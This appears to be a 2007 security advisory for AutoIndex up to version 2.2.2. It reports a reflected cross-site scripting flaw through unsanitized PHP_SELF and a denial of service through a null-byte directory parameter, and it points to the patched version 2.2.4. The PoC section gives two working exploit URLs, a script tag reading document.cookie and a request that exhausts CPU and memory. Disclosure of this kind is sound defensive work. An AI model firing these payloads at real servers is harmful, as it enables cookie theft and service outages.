autoindex-xss.txt

`======================================================================  
AutoIndex <= 2.2.2 Cross Site Scripting and Denial of Service  
======================================================================  
  
Author: L4teral <l4teral [4t] gmail com>  
Impact: Cross Site Scripting  
Denial of Service (DoS)  
Status: patch available  
  
  
------------------------------  
Affected software description:  
------------------------------  
  
Application: AutoIndex  
Version: <= 2.2.2/2.2.3  
Vendor: http://autoindex.sourceforge.net  
  
  
--------------  
Vulnerability:  
--------------  
  
1.  
The variable $_SERVER['PHP_SELF'] is not properly sanitized  
leading to cross site scripting.  
  
2.  
The use of unsanitized user input causes an error in the recursive  
calculation of the size of a directory leading to cpu time/memory  
consumption until the process gets killed.  
  
  
------------  
PoC/Exploit:  
------------  
  
1.  
http://<host>/AutoIndex/index.php/"><script>alert(document.cookie)</script>  
  
2.  
http://<host>/AutoIndex/index.php?dir=%00  
  
  
---------  
Solution:  
---------  
  
update to version 2.2.4.  
  
  
---------  
Timeline:  
---------  
  
2007-11-05 - vendor informed  
2007-11-05 - vendor released version 2.2.3 (fixing XSS)  
2007-11-09 - vendor released version 2.2.4 (fixing DoS)  
2007-11-12 - public disclosure  
`